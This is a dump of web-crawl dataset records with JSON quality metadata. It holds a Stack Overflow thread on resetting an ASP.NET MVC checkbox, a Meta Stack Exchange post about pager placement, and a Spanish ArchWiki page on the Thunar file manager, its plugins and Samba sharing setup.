"rps_doc_frac_chars_dupe_9grams": 0.015415909700095654,
"rps_doc_frac_chars_top_2gram": 0.00974200014024973,
"rps_doc_frac_chars_top_3gram": 0.0026763700880110264,
"rps_doc_frac_chars_top_4gram": 0.004282199777662754,
"rps_doc_books_importance": -1850.9246826171875,
"rps_doc_books_importance_length_correction": -1850.9246826171875,
"rps_doc_openwebtext_importance": -1269.2235107421875,
"rps_doc_openwebtext_importance_length_correction": -1269.2235107421875,
"rps_doc_wikipedia_importance": -843.3822021484375,
"rps_doc_wikipedia_importance_length_correction": -843.3822021484375
},
"fasttext": {
"dclm": 0.1177244782447815,
"english": 0.8828503489494324,
"fineweb_edu_approx": 2.190934419631958,
"eai_general_math": 0.013845560140907764,
"eai_open_web_math": 0.21008777618408203,
"eai_web_code": 0.9227436184883118
}
} | {
"free_decimal_correspondence": {
"primary": {
"code": "005.822",
"labels": {
"level_1": "General works, books and libraries, information sciences",
"level_2": "",
"level_3": "Computer programming"
}
},
"secondary": {
"code": "005.82",
"labels": {
"level_1": "General works, books and libraries, information sciences",
"level_2": "",
"level_3": "Computer programming"
}
}
},
"bloom_cognitive_process": {
"primary": {
"code": "3",
"label": "Apply"
},
"secondary": {
"code": "2",
"label": "Understand"
}
},
"bloom_knowledge_domain": {
"primary": {
"code": "3",
"label": "Procedural"
},
"secondary": {
"code": "2",
"label": "Conceptual"
}
},
"document_type_v1": {
"primary": {
"code": "3",
"label": "Reference/Encyclopedic/Educational"
},
"secondary": {
"code": "-1",
"label": "Abstain"
}
},
"extraction_artifacts": {
"primary": {
"code": "3",
"label": "Irrelevant Content"
},
"secondary": {
"code": "-1",
"label": "Abstain"
}
},
"missing_content": {
"primary": {
"code": "0",
"label": "No missing content"
},
"secondary": {
"code": "-1",
"label": "Abstain"
}
},
"document_type_v2": {
"primary": {
"code": "8",
"label": "Documentation"
},
"secondary": {
"code": "10",
"label": "Knowledge Article"
}
},
"reasoning_depth": {
"primary": {
"code": "3",
"label": "Intermediate Reasoning"
},
"secondary": {
"code": "2",
"label": "Basic Reasoning"
}
},
"technical_correctness": {
"primary": {
"code": "4",
"label": "Highly Correct"
},
"secondary": {
"code": "3",
"label": "Mostly Correct"
}
},
"education_level": {
"primary": {
"code": "3",
"label": "Undergraduate Level"
},
"secondary": {
"code": "2",
"label": "High School Level"
}
}
} | 672f1e42c33a7f9846924a2431ea77df |
-4,431,521,169,506,644,000 | Tell me more ×
Stack Overflow is a question and answer site for professional and enthusiast programmers. It's 100% free, no registration required.
Just started learning how to develop a ASP.NET application, i am puzzled on how to make a checkbox is always unchecked even after form submit where a user tick the checkbox. The checkbox is for acknowledgment that user agrees to the terms and conditions ... and when form submit return some errors I want to display the error message on the screen and keep the checkbox unchecked regardless it was ticked or not.
In my view I have the following:
<%: Html.CheckBoxFor(m => m.UserAgreement) %>
And I have tried both the following in my controller and none of them works:
ViewData["UserAgreement"] = false;
return View(new MyModel { UserAgreement = false});
Anyone can help on how to achieve what I need? Thank you.
share|improve this question
add comment
4 Answers
This bothered me for a long time as well, even explicity setting the values in my model to false did not really solve this problem. What I found was that it was also checking the value in the ModelState collection.
This is probably not the cleanest solution but this is ultimately what worked for me:
private ActionResult DisplayView(string viewName, MyModelClass model)
{
model.AgreeTerms = false;
ModelState.Remove("AgreeTerms");
return View(viewName, model);
}
share|improve this answer
add comment
The ASP.NET MVC CheckBox does not retain its state unless you specifically tell it to do so.
The code you posted above indicates that 'UserAgreement' should be checked (value is TRUE) when the view is returned, not that it should be unchecked.
Unless you specifically set the value of UserAgreement to 'true' before returning the view to the user, the checkbox will be unchecked. Similarly, if your action is receiving a model with the UserAgreement property set to 'true' and you do not set it back to 'false' before returning it to the view, the checkbox will remain checked.
share|improve this answer
Hi Nathan, sorry I made a mistake in my post which I have corrected. I meant to assign false as a value. And I still have my checkbox checked if I checked it before submit. Whatever that I do to the checkbox is retained after submit. That's not something that I want ... I would like to have the checkbox always unchecked regardless it was checked or unchecked before submit. – user152235 Dec 3 '10 at 5:19
add comment
Your value is being saved in the ModelState property. In order to reset the value after a post. You have to cleaer the value in the ModelState property
share|improve this answer
Hi Kyle, and how do I do that? I thought my last line of codes did that? – user152235 Dec 3 '10 at 5:20
add comment
Try ModelState.Remove("UserAgreement"); before you return the view.
share|improve this answer
add comment
Your Answer
discard
By posting your answer, you agree to the privacy policy and terms of service.
Not the answer you're looking for? Browse other questions tagged or ask your own question. | {
"url": "http://stackoverflow.com/questions/4341572/asp-net-how-to-make-a-checkbox-always-unchecked-even-post-submit/13148340",
"source_domain": "stackoverflow.com",
"snapshot_id": "crawl=CC-MAIN-2013-48",
"warc_metadata": {
"Content-Length": "60854",
"Content-Type": "application/http; msgtype=response",
"WARC-Block-Digest": "sha1:PAYRHJXMXVTZRZA2LM3UUKTVEK5LHETG",
"WARC-Concurrent-To": "<urn:uuid:4168dd12-ef62-4765-bc07-5ee2d6a77531>",
"WARC-Date": "2013-12-05T18:48:10Z",
"WARC-IP-Address": "198.252.206.16",
"WARC-Identified-Payload-Type": null,
"WARC-Payload-Digest": "sha1:A42X5SFVEVD7VKWK2KV3NOWOBVLG7LGY",
"WARC-Record-ID": "<urn:uuid:f578c2ad-1eff-4cc8-99e0-aefa4dac47e8>",
"WARC-Target-URI": "http://stackoverflow.com/questions/4341572/asp-net-how-to-make-a-checkbox-always-unchecked-even-post-submit/13148340",
"WARC-Truncated": null,
"WARC-Type": "response",
"WARC-Warcinfo-ID": "<urn:uuid:a0241521-cc6c-4374-9b1e-d51793e2ea8e>"
},
"warc_info": "robots: classic\r\nhostname: ip-10-33-133-15.ec2.internal\r\nsoftware: Nutch 1.6 (CC)/CC WarcExport 1.0\r\nisPartOf: CC-MAIN-2013-48\r\noperator: CommonCrawl Admin\r\ndescription: Wide crawl of the web with URLs provided by Blekko for Winter 2013\r\npublisher: CommonCrawl\r\nformat: WARC File Format 1.0\r\nconformsTo: http://bibnum.bnf.fr/WARC/WARC_ISO_28500_version1_latestdraft.pdf"
} | {
"line_start_idx": [
0,
15,
147,
148,
561,
562,
595,
596,
642,
643,
720,
721,
756,
757,
808,
809,
867,
868,
896,
908,
909,
919,
920,
1135,
1136,
1222,
1223,
1293,
1295,
1325,
1362,
1363,
1397,
1399,
1425,
1437,
1438,
1531,
1532,
1683,
1684,
2018,
2019,
2045,
2047,
2455,
2467,
2468,
2620,
2621,
2647,
2649,
2754,
2766,
2767,
2835,
2836,
2862,
2874,
2875,
2887,
2888,
2890,
2898,
2899,
2977,
2978
],
"line_end_idx": [
15,
147,
148,
561,
562,
595,
596,
642,
643,
720,
721,
756,
757,
808,
809,
867,
868,
896,
908,
909,
919,
920,
1135,
1136,
1222,
1223,
1293,
1295,
1325,
1362,
1363,
1397,
1399,
1425,
1437,
1438,
1531,
1532,
1683,
1684,
2018,
2019,
2045,
2047,
2455,
2467,
2468,
2620,
2621,
2647,
2649,
2754,
2766,
2767,
2835,
2836,
2862,
2874,
2875,
2887,
2888,
2890,
2898,
2899,
2977,
2978,
3068
]
} | {
"red_pajama_v2": {
"ccnet_original_length": 3068,
"ccnet_original_nlines": 66,
"rps_doc_curly_bracket": 0.0013037800090387464,
"rps_doc_ldnoobw_words": 0,
"rps_doc_lorem_ipsum": 0,
"rps_doc_stop_word_fraction": 0.40872374176979065,
"rps_doc_ut1_blacklist": 0,
"rps_doc_frac_all_caps_words": 0.03392568975687027,
"rps_doc_frac_lines_end_with_ellipsis": 0,
"rps_doc_frac_no_alph_words": 0.17770597338676453,
"rps_doc_frac_unique_words": 0.4317269027233124,
"rps_doc_mean_word_length": 4.8172688484191895,
"rps_doc_num_sentences": 34,
"rps_doc_symbol_to_word_ratio": 0.0032310199458152056,
"rps_doc_unigram_entropy": 4.881322860717773,
"rps_doc_word_count": 498,
"rps_doc_frac_chars_dupe_10grams": 0,
"rps_doc_frac_chars_dupe_5grams": 0.06169236823916435,
"rps_doc_frac_chars_dupe_6grams": 0.01583993062376976,
"rps_doc_frac_chars_dupe_7grams": 0,
"rps_doc_frac_chars_dupe_8grams": 0,
"rps_doc_frac_chars_dupe_9grams": 0,
"rps_doc_frac_chars_top_2gram": 0.03209671005606651,
"rps_doc_frac_chars_top_3gram": 0.036681950092315674,
"rps_doc_frac_chars_top_4gram": 0.02000834047794342,
"rps_doc_books_importance": -293.0455627441406,
"rps_doc_books_importance_length_correction": -293.0455627441406,
"rps_doc_openwebtext_importance": -157.13758850097656,
"rps_doc_openwebtext_importance_length_correction": -157.13758850097656,
"rps_doc_wikipedia_importance": -89.72760009765625,
"rps_doc_wikipedia_importance_length_correction": -89.72760009765625
},
"fasttext": {
"dclm": 0.024958310648798943,
"english": 0.9216768145561218,
"fineweb_edu_approx": 1.0294616222381592,
"eai_general_math": 0.010618450120091438,
"eai_open_web_math": 0.17584526538848877,
"eai_web_code": 0.0022622901014983654
}
} | {
"free_decimal_correspondence": {
"primary": {
"code": "005.138",
"labels": {
"level_1": "General works, books and libraries, information sciences",
"level_2": "",
"level_3": "Computer programming"
}
},
"secondary": {
"code": "005.1",
"labels": {
"level_1": "General works, books and libraries, information sciences",
"level_2": "",
"level_3": "Computer programming"
}
}
},
"bloom_cognitive_process": {
"primary": {
"code": "3",
"label": "Apply"
},
"secondary": {
"code": "2",
"label": "Understand"
}
},
"bloom_knowledge_domain": {
"primary": {
"code": "3",
"label": "Procedural"
},
"secondary": {
"code": "2",
"label": "Conceptual"
}
},
"document_type_v1": {
"primary": {
"code": "5",
"label": "Social/Forum"
},
"secondary": {
"code": "4",
"label": "Code/Software"
}
},
"extraction_artifacts": {
"primary": {
"code": "3",
"label": "Irrelevant Content"
},
"secondary": {
"code": "0",
"label": "No Artifacts"
}
},
"missing_content": {
"primary": {
"code": "0",
"label": "No missing content"
},
"secondary": {
"code": "0",
"label": "No missing content"
}
},
"document_type_v2": {
"primary": {
"code": "18",
"label": "Q&A Forum"
},
"secondary": {
"code": "8",
"label": "Documentation"
}
},
"reasoning_depth": {
"primary": {
"code": "2",
"label": "Basic Reasoning"
},
"secondary": {
"code": "3",
"label": "Intermediate Reasoning"
}
},
"technical_correctness": {
"primary": {
"code": "3",
"label": "Mostly Correct"
},
"secondary": {
"code": "4",
"label": "Highly Correct"
}
},
"education_level": {
"primary": {
"code": "3",
"label": "Undergraduate Level"
},
"secondary": {
"code": "4",
"label": "Graduate/Expert Level"
}
}
} | 672f1e42c33a7f9846924a2431ea77df |
-6,660,857,029,351,730,000 | Meta Stack Exchange is where users like you discuss bugs, features, and support issues that affect the software powering all 158 Stack Exchange communities.
What is meta?
Here's how it works:
1. Any Stack Exchange user can ask a question
2. The community provides support, votes on ideas, and reports bugs
3. Your voice helps shape the way Stack Exchange operates
It is probably too late now to change it, but I'd prefer the
prev [1] [2] [3] ... next
pages on the left at the bottom and the
[15] [30] [50] per page
on the right at the bottom of question lists.
share|improve this question
2
Pretty sure it was prev/next on the left before. – random Apr 28 '10 at 8:31
We should put the prev next in the middle at the bottom and the per page in the middle at the top. – Ladybug Killer Apr 28 '10 at 8:33
up vote 1 down vote accepted
This was actually a bit of a mistake in some refactoring, and I will fix it with the next deployment.
It's easy now though...
<div class="page-sizer fl">
<div class="pager fr">
Guess what fr and fl stand for?
share|improve this answer
7
France and Florida? – Joe Apr 28 '10 at 11:47
So [bug] would have been a more correct tag? :-) – Mark Hurd Apr 29 '10 at 0:37
You must log in to answer this question.
Not the answer you're looking for? Browse other questions tagged . | {
"url": "http://meta.stackexchange.com/questions/48083/swap-n-per-page-and-page-numbers-at-the-bottom-of-the-question-lists",
"source_domain": "meta.stackexchange.com",
"snapshot_id": "crawl=CC-MAIN-2016-30",
"warc_metadata": {
"Content-Length": "70316",
"Content-Type": "application/http; msgtype=response",
"WARC-Block-Digest": "sha1:WG5AD52BDKES4XXOLPBDOD3JEFIIEHA6",
"WARC-Concurrent-To": "<urn:uuid:60d57696-afac-4181-9e30-c859cfa50d09>",
"WARC-Date": "2016-07-29T04:01:28Z",
"WARC-IP-Address": "151.101.193.69",
"WARC-Identified-Payload-Type": null,
"WARC-Payload-Digest": "sha1:S4BSAMIEWBVIPSMKV7D3MKY66JUDWLL3",
"WARC-Record-ID": "<urn:uuid:55463daf-65a2-40a4-b8a8-c6f95bda3b43>",
"WARC-Target-URI": "http://meta.stackexchange.com/questions/48083/swap-n-per-page-and-page-numbers-at-the-bottom-of-the-question-lists",
"WARC-Truncated": null,
"WARC-Type": "response",
"WARC-Warcinfo-ID": "<urn:uuid:31cd815c-909d-4697-bd21-aa744cbbe522>"
},
"warc_info": "robots: classic\r\nhostname: ip-10-185-27-174.ec2.internal\r\nsoftware: Nutch 1.6 (CC)/CC WarcExport 1.0\r\nisPartOf: CC-MAIN-2016-30\r\noperator: CommonCrawl Admin\r\ndescription: Wide crawl of the web for July 2016\r\npublisher: CommonCrawl\r\nformat: WARC File Format 1.0\r\nconformsTo: http://bibnum.bnf.fr/WARC/WARC_ISO_28500_version1_latestdraft.pdf"
} | {
"line_start_idx": [
0,
157,
158,
172,
193,
241,
311,
371,
372,
433,
434,
460,
461,
501,
502,
526,
527,
573,
574,
602,
606,
683,
688,
823,
852,
853,
955,
956,
980,
981,
1009,
1033,
1034,
1066,
1067,
1093,
1097,
1143,
1148,
1228,
1229,
1270,
1271
],
"line_end_idx": [
157,
158,
172,
193,
241,
311,
371,
372,
433,
434,
460,
461,
501,
502,
526,
527,
573,
574,
602,
606,
683,
688,
823,
852,
853,
955,
956,
980,
981,
1009,
1033,
1034,
1066,
1067,
1093,
1097,
1143,
1148,
1228,
1229,
1270,
1271,
1337
]
} | {
"red_pajama_v2": {
"ccnet_original_length": 1337,
"ccnet_original_nlines": 42,
"rps_doc_curly_bracket": 0,
"rps_doc_ldnoobw_words": 0,
"rps_doc_lorem_ipsum": 0,
"rps_doc_stop_word_fraction": 0.33542320132255554,
"rps_doc_ut1_blacklist": 0,
"rps_doc_frac_all_caps_words": 0.006269589997828007,
"rps_doc_frac_lines_end_with_ellipsis": 0.023255810141563416,
"rps_doc_frac_no_alph_words": 0.29467085003852844,
"rps_doc_frac_unique_words": 0.5942623019218445,
"rps_doc_mean_word_length": 4.0368852615356445,
"rps_doc_num_sentences": 17,
"rps_doc_symbol_to_word_ratio": 0.006269589997828007,
"rps_doc_unigram_entropy": 4.685833930969238,
"rps_doc_word_count": 244,
"rps_doc_frac_chars_dupe_10grams": 0,
"rps_doc_frac_chars_dupe_5grams": 0.06192893162369728,
"rps_doc_frac_chars_dupe_6grams": 0,
"rps_doc_frac_chars_dupe_7grams": 0,
"rps_doc_frac_chars_dupe_8grams": 0,
"rps_doc_frac_chars_dupe_9grams": 0,
"rps_doc_frac_chars_top_2gram": 0.05279187858104706,
"rps_doc_frac_chars_top_3gram": 0.03350254148244858,
"rps_doc_frac_chars_top_4gram": 0.027411170303821564,
"rps_doc_books_importance": -125.00143432617188,
"rps_doc_books_importance_length_correction": -125.00142669677734,
"rps_doc_openwebtext_importance": -59.10465621948242,
"rps_doc_openwebtext_importance_length_correction": -59.10465621948242,
"rps_doc_wikipedia_importance": -37.09244918823242,
"rps_doc_wikipedia_importance_length_correction": -37.08871078491211
},
"fasttext": {
"dclm": 0.06053036078810692,
"english": 0.9103163480758667,
"fineweb_edu_approx": 1.0815072059631348,
"eai_general_math": 0.00026756999432109296,
"eai_open_web_math": 0.3213402032852173,
"eai_web_code": 0.000006910000138304895
}
} | {
"free_decimal_correspondence": {
"primary": {
"code": "005.4",
"labels": {
"level_1": "General works, books and libraries, information sciences",
"level_2": "",
"level_3": "Computer programming"
}
},
"secondary": {
"code": "004.678",
"labels": {
"level_1": "General works, books and libraries, information sciences",
"level_2": "",
"level_3": "Computers and Computer science"
}
}
},
"bloom_cognitive_process": {
"primary": {
"code": "2",
"label": "Understand"
},
"secondary": {
"code": "3",
"label": "Apply"
}
},
"bloom_knowledge_domain": {
"primary": {
"code": "2",
"label": "Conceptual"
},
"secondary": {
"code": "3",
"label": "Procedural"
}
},
"document_type_v1": {
"primary": {
"code": "5",
"label": "Social/Forum"
},
"secondary": {
"code": "-1",
"label": "Abstain"
}
},
"extraction_artifacts": {
"primary": {
"code": "3",
"label": "Irrelevant Content"
},
"secondary": {
"code": "-1",
"label": "Abstain"
}
},
"missing_content": {
"primary": {
"code": "0",
"label": "No missing content"
},
"secondary": {
"code": "-1",
"label": "Abstain"
}
},
"document_type_v2": {
"primary": {
"code": "18",
"label": "Q&A Forum"
},
"secondary": {
"code": "8",
"label": "Documentation"
}
},
"reasoning_depth": {
"primary": {
"code": "2",
"label": "Basic Reasoning"
},
"secondary": {
"code": "1",
"label": "No Reasoning"
}
},
"technical_correctness": {
"primary": {
"code": "6",
"label": "Not Applicable/Indeterminate"
},
"secondary": {
"code": "4",
"label": "Highly Correct"
}
},
"education_level": {
"primary": {
"code": "1",
"label": "General Audience"
},
"secondary": {
"code": "2",
"label": "High School Level"
}
}
} | 672f1e42c33a7f9846924a2431ea77df |
2,496,871,080,601,660,400 | Difference between revisions of "Thunar (Español)"
From ArchWiki
Jump to: navigation, search
(Montaje automático)
Line 19: Line 19:
Si ha instalado [[Xfce|Xfce4]] en su sistema, probablemente ya tendrá instalado Thunar.
Si ha instalado [[Xfce|Xfce4]] en su sistema, probablemente ya tendrá instalado Thunar.
==Montaje automático ==
+
===Montaje automático ===
Thunar utiliza [[gvfs]] para el montaje automático, consulte [[GVFS]] para más detalles para conseguir que funcione.
Thunar utiliza [[gvfs]] para el montaje automático, consulte [[GVFS]] para más detalles para conseguir que funcione.
Revision as of 19:45, 25 July 2013
zh-CN:Thunar Template:Article summary start Template:Article summary text Template:Article summary heading Template:Article summary wiki: Thunar viene incorporado por defecto con la instalación del grupo de paquetes xfce4. Template:Article summary text. Template:Article summary end Thunar es un gestor de archivo que está diseñado para ser rápido, ligero, y fácil de usar. Una instalación estándar de xfce4 contendrá Thunar, pero puede ser usado independientemente con otros gestores de ventanas.
Instalación
Instale el paquete thunar disponible en los repositorios oficiales.
Si ha instalado Xfce4 en su sistema, probablemente ya tendrá instalado Thunar.
Montaje automático
Thunar utiliza gvfs para el montaje automático, consulte GVFS para más detalles para conseguir que funcione.
Administrador del Volumen Thunar
Mientras Thunar soporta el montaje y desmontaje automático de medios extraíbles, el admnistrador de volúmenes Thunar permite funcionalidades extendidas, tales como la posibilidad de ejecutar comandos particulares para la conexión de un dispositivo periférico o abrir automáticamente una ventana de Thunar al montar el volumen.
Instalación
Thunar Volume Manager se puede instalar con el paquete thunar-volman disponible en los repositorios oficiales.
Configuración
También se puede configurar para ejecutar ciertas acciones al conectar cámaras y reproductores de audio. Una vez instalado el plugin:
1. Lance Thunar y abra Editar -> Preferencias
2. Bajo la pestaña "Avanzado", marque la casilla "Habilitar la administración de volúmenes"
3. Pinche en configurar y verifique los siguientes elementos:
• Montar unidades extraíbles (discos duros) cuando se enciendan.
• Montar medios extraíbles (USB) cuando se inserten.
4. Haga adicionalmente también los cambios que desee (vea el ejemplo a continuación)
He aquí un ejemplo de ajuste para hacer que Amarok se abra para reproducir un CD de audio al insertarlo.
Multimedia - CD Audio: amarok --cdplay %d
Consejos y trucos
Usar Thunar para explorar zonas remotas
Desde Xfce 4.8 (Thunar 1.2), es posible explorar carpetas en zonas remotas (como servidores FTP o Samba para compartir ficheros) directamente en Thunar, similar a la funcionalidad de GNOME y KDE. Los paquetes gvfs y gvfs-smb son necesarios para habilitar esta funcionalidad. Ambos paquetes están disponibles en los repositorios oficiales.
Después de reiniciar Xfce se agrega un enlace de "Red" a la barra lateral de Thunar y las ubicaciones remotas se pueden abrir con los siguientes esquemas de URI en el campo de diálogo (abierto con Template:Keypress): smb://, ftp://, ssh://
Iniciar en modo demonio
Thunar puede ejecutarse en modo demonio. Este comportamiento tiene varias ventajas, incluyendo un inicio más rápido de Thunar, haciendo que Thunar se inicialice en segundo plano y sólo se abra una ventana cuando sea necesario (por ejemplo, cuando una unidad USB se inserta).
Las opciones para el inicio automático de Thunar pueden ser o bien usando .xinitrc o bien usando un script de inicio automático (por ejemplo, en Openbox configurando el archivo ~/.config/openbox/autostart). Con ambos métodos se puede poner en marcha, y su elección dependerá de las preferencias de cada usuario.
Para ejecutar Thunar como demonio, puede hacerlo añadiéndolo a su script de arranque automático o ejecutándolo desde un terminal, de este modo:
$ thunar --daemon &
Ajustar el tema de iconos
Al usar Thunar fuera de Gnome o Xfce, ciertos paquetes y configuraciones que se utilizan para controlar los iconos pueden estar ausentes. Los gestores de ventanas como Awesome y Xmonad no vienen con el administrador XSETTINGS, que es donde Thunar busca primero su configuración de icono. Es posible instalar y ejecutar xfce-mcs-manager mediante un script de inicio si se va a utilizar Xfce4 conjuntamente con muchas aplicaciones de Gnome. La configuración de gtk-icon-theme-name para gtk2 se puede ajustar para un usuario mediante la adición de algo parecido a lo siguiente en ~/.gtkrc-2.0:
gtk-icon-theme-name = "Tango"
Por supuesto, al instalar el paquete gnome-icon-theme dará a Thunar un tema de iconos diferente a los iconos predeterminados para el resto de los elementos.
# pacman -S gnome-icon-theme
Resolver problemas con el arranque lento "en frío"
Algunas usuarios todavía tienen problemas con Thunar que tarda mucho tiempo para iniciar la primera vez. Esto es debido a que gvfs verifica la red, impidiendo a Thunar que arranque hasta que gvfs finalice sus operaciones. Para cambiar este comportamiento, edite el archivo usr/share/gvfs/mounts/network.mount y modifique automount=true a automount=false.
Otros plugins y addons
Muchos de estos plugins son parte del grupo xfce4-goodies, así que si lo has descargado, es probable que tenga todos ellos.
Plugin Thunar Archive
El Plugin Thunar Archive es un frontend para presentar software de compresión de archivos, tales como File Roller, Ark o Xarchiver, que posibilita la integración de uno de estos programas en el menú de Thunar para abrir y descomprimir archivos.
Instalación
Se puede instalar ejecutando:
# pacman -S thunar-archive-plugin
Plugin Thunar Media Tags
El plugin multimedia tags mostrará información detallada acerca de los archivos multimedia. Es compatible con la etiqueta ID3 (el formato de archivo MP3) y los formatos Ogg/Vorbis. También tiene un renombrador y permite la edición de las etiquetas de los elementos multimedia.
Instalación
Se puede instalar ejecutando:
# pacman -S thunar-media-tags-plugin
Thunar thumbnails
Thunar se basa en un programa externo llamado tumbler para generar imágenes en miniatura. tumbler se puede instalar desde los repositorios oficiales.
# pacman -S tumbler
Para generar miniaturas de vídeo, se tienen que instalar ffmpegthumbnailer.
# pacman -S ffmpegthumbnailer
Thunar Shares
Thunar Shares es un plugin que le permite compartir rápidamente una carpeta con Samba desde Thunar sin requerir acceso como root.
Instale el paquete thunar-shares-pluginAUR disponible en AUR. Véase esto para configurarlo.
Configuración
Merge-arrows-2.pngThis article or section is a candidate for merging with Samba.Merge-arrows-2.png
Notes: These are samba configuration, should merge to Samba and leave link here. (Discuss in Talk:Thunar (Español)#)
Ésto marca los objetos nombrados para la exportación automática al entorno de comandos que se ejecutan posteriormente:
# export USERSHARES_DIR="/var/lib/samba/usershares"
# export USERSHARES_GROUP="sambashare"
Ésto crea el directorio usershares en var/lib/samba:
# mkdir -p ${USERSHARES_DIR}
Ésto crea el grupo sambashare:
# groupadd ${USERSHARES_GROUP}
Ésto cambia el propietario del directorio y el grupo que acaba de crear para root:
# chown root:${USERSHARES_GROUP} ${USERSHARES_DIR}
Ésto cambia los permisos del directorio usershares para que los usuarios del grupo sambashare puedan leer, escribir y ejecutar archivos:
# chmod 01770 ${USERSHARES_DIR}
Utilizando su editor de texto favorito como root, cree el archivo /etc/samba/smb.conf
# joe /etc/samba/smb.conf
Utilice este archivo de configuración smb.conf:
/etc/samba/smb.conf
##This is the main Samba configuration file. You should read the
##smb.conf(5) manual page in order to understand the options listed
##here. Samba has a huge number of configurable options (perhaps too
##many!) most of which are not shown in this example
##
##For a step to step guide on installing, configuring and using samba,
## read the Samba-HOWTO-Collection. This may be obtained from:
## http://www.samba.org/samba/docs/Samba-HOWTO-Collection.pdf
##
## Many working examples of smb.conf files can be found in the
## Samba-Guide which is generated daily and can be downloaded from:
## http://www.samba.org/samba/docs/Samba-Guide.pdf
##
## Any line which starts with a ; (semi-colon) or a # (hash)
## is a comment and is ignored. In this example we will use a #
## for commentry and a ; for parts of the config file that you
## may wish to enable
##
## NOTE: Whenever you modify this file you should run the command "testparm"
## to check that you have not made any basic syntactic errors.
##
#[global]
# workgroup = WORKGROUP
# security = share
# server string = My Share
# load printers = yes
# log file = /var/log/samba/%m.log
# max log size = 50
# usershare path = /var/lib/samba/usershares
# usershare max shares = 100
# usershare allow guests = yes
# usershare owner only = yes
#
#
# #Windows Internet Name Serving Support Section:
#
# #WINS Support - Tells the NMBD component of Samba to enable it's WINS Server
#; wins support = yes
#
## WINS Server - Tells the NMBD components of Samba to be a WINS Client
## Note: Samba can be either a WINS Server, or a WINS Client, but NOT both
#; wins server = w.x.y.z
#
##WINS Proxy - Tells Samba to answer name resolution queries on
## behalf of a non WINS capable client, for this to work there must be
## at least one WINS Server on the network. The default is NO.
#; wins proxy = yes
Guarde el archivo y luego agregue su usuario al grupo sambashares sustituyendo "your_username" con su nombre de usuario:
# usermod -a -G ${USERSHARES_GROUP} your_username
Reinicie Samba:
# /etc/rc.d/samba restart
Si aparece el error You are not the owner of the folder - No eres el propietario de la carpeta, simplemente pruebe reiniciando el sistema. Para tener samba siempre activo, añada samba a los demonios en su archivo /etc/rc.conf . Para obtener más información, visite la página wiki Samba .
Acciones personalizadas
Esta sección trata de acciones personalizadas útiles que se pueden obtener a través del menú Editar -> Configuración de acciones personalizadas. Se enumeran más ejemplos en la wiki de thunar.
Escanear virus
Para utilizar esta acción es necesario tener instalado clamav y clamtk.
Nombre Comando Patrones de archivos Aparecerá si está en la selección
Analizar en busca de virus clamtk %F * Seleccionar todo
Enlace a Dropbox
Nombre Comando Patrones de archivos Aparecerá si está en la selección
Enlace a Dropbox ln -s %f /ruta/a/Carpeta_Dropbox * Directorios, otros archivos
Tenga en cuenta que cuando se utilizan muchos enlaces simbólicos de archivos y carpetas a un lugar particular, podría ser útil ponerlos en la carpeta Enviar a del menú contextual para evitar que el mismo menú se sobredimensione. Esto es bastante fácil de lograr y requiere un archivo .desktop en ~/.local/share/Thunar/sendto para cada acción a realizar. Por ejemplo, si quiere un enlace simbólico a la carpeta dropbox en Enviar a, creamos un archivo dropbox_folder.desktop con el contenido de abajo. La nueva acción personalizada se activará después de reiniciar Thunar.
[Desktop Entry]
Type=Application
Version=1.0
Encoding=UTF-8
Exec=ln -s %f /percorso/alla/cartella/dropbox
Icon=/usr/share/icons/dropbox.png
Name=Dropbox
Enlaces y Referencias | {
"url": "https://wiki.archlinux.org/index.php?title=Thunar_(Espa%C3%B1ol)&diff=next&oldid=260688",
"source_domain": "wiki.archlinux.org",
"snapshot_id": "crawl=CC-MAIN-2018-26",
"warc_metadata": {
"Content-Length": "45381",
"Content-Type": "application/http; msgtype=response",
"WARC-Block-Digest": "sha1:PQHNA2QAAOX6ZIX6K3TAQ2ZDSEL577NH",
"WARC-Concurrent-To": "<urn:uuid:055f8c5a-c725-4ba4-a2e5-77d2e83dbaba>",
"WARC-Date": "2018-06-21T00:43:06Z",
"WARC-IP-Address": "138.201.81.199",
"WARC-Identified-Payload-Type": "text/html",
"WARC-Payload-Digest": "sha1:IIL4W4EKLADQAHMV6DQE4HX3DXDNEWZD",
"WARC-Record-ID": "<urn:uuid:9e5013ca-663f-4f7b-a960-ba0351b833ec>",
"WARC-Target-URI": "https://wiki.archlinux.org/index.php?title=Thunar_(Espa%C3%B1ol)&diff=next&oldid=260688",
"WARC-Truncated": null,
"WARC-Type": "response",
"WARC-Warcinfo-ID": "<urn:uuid:c772e5ab-d421-4084-b03c-7884c6847be3>"
},
"warc_info": "robots: classic\r\nhostname: ip-10-109-239-82.ec2.internal\r\nsoftware: Nutch 1.6 (CC)\r\nisPartOf: CC-MAIN-2018-26\r\noperator: Common Crawl Admin\r\ndescription: Wide crawl of the web for June 2018\r\npublisher: Common Crawl\r\nformat: WARC File Format 1.0\r\nconformsTo: http://bibnum.bnf.fr/WARC/WARC_ISO_28500_version1_latestdraft.pdf"
} | {
"line_start_idx": [
0,
51,
52,
66,
94,
115,
133,
135,
223,
225,
313,
316,
342,
344,
372,
374,
491,
493,
610,
613,
614,
649,
650,
1148,
1149,
1161,
1162,
1230,
1231,
1310,
1311,
1330,
1331,
1440,
1441,
1474,
1475,
1802,
1803,
1815,
1816,
1927,
1928,
1942,
1943,
2077,
2078,
2126,
2220,
2284,
2353,
2410,
2497,
2498,
2603,
2604,
2647,
2648,
2666,
2667,
2707,
2708,
3047,
3048,
3288,
3289,
3313,
3314,
3589,
3590,
3902,
3903,
4047,
4048,
4068,
4069,
4095,
4096,
4687,
4688,
4719,
4720,
4877,
4878,
4907,
4908,
4959,
4960,
5315,
5316,
5339,
5340,
5464,
5465,
5487,
5488,
5733,
5734,
5746,
5747,
5777,
5778,
5812,
5813,
5838,
5839,
6116,
6117,
6129,
6130,
6160,
6161,
6198,
6199,
6217,
6218,
6368,
6369,
6389,
6390,
6466,
6467,
6497,
6498,
6512,
6513,
6643,
6644,
6736,
6737,
6751,
6752,
6851,
6852,
6969,
6970,
7089,
7090,
7142,
7181,
7182,
7235,
7236,
7265,
7266,
7297,
7298,
7329,
7330,
7413,
7414,
7465,
7466,
7603,
7604,
7636,
7637,
7723,
7724,
7750,
7751,
7799,
7800,
7820,
7887,
7957,
8028,
8083,
8088,
8162,
8227,
8292,
8297,
8363,
8434,
8488,
8493,
8557,
8623,
8688,
8712,
8717,
8796,
8862,
8867,
8879,
8906,
8928,
8958,
8983,
9021,
9044,
9092,
9124,
9158,
9190,
9196,
9200,
9252,
9256,
9337,
9363,
9367,
9441,
9518,
9547,
9551,
9617,
9690,
9755,
9779,
9780,
9901,
9902,
9952,
9953,
9969,
9970,
9996,
9997,
10285,
10286,
10310,
10311,
10503,
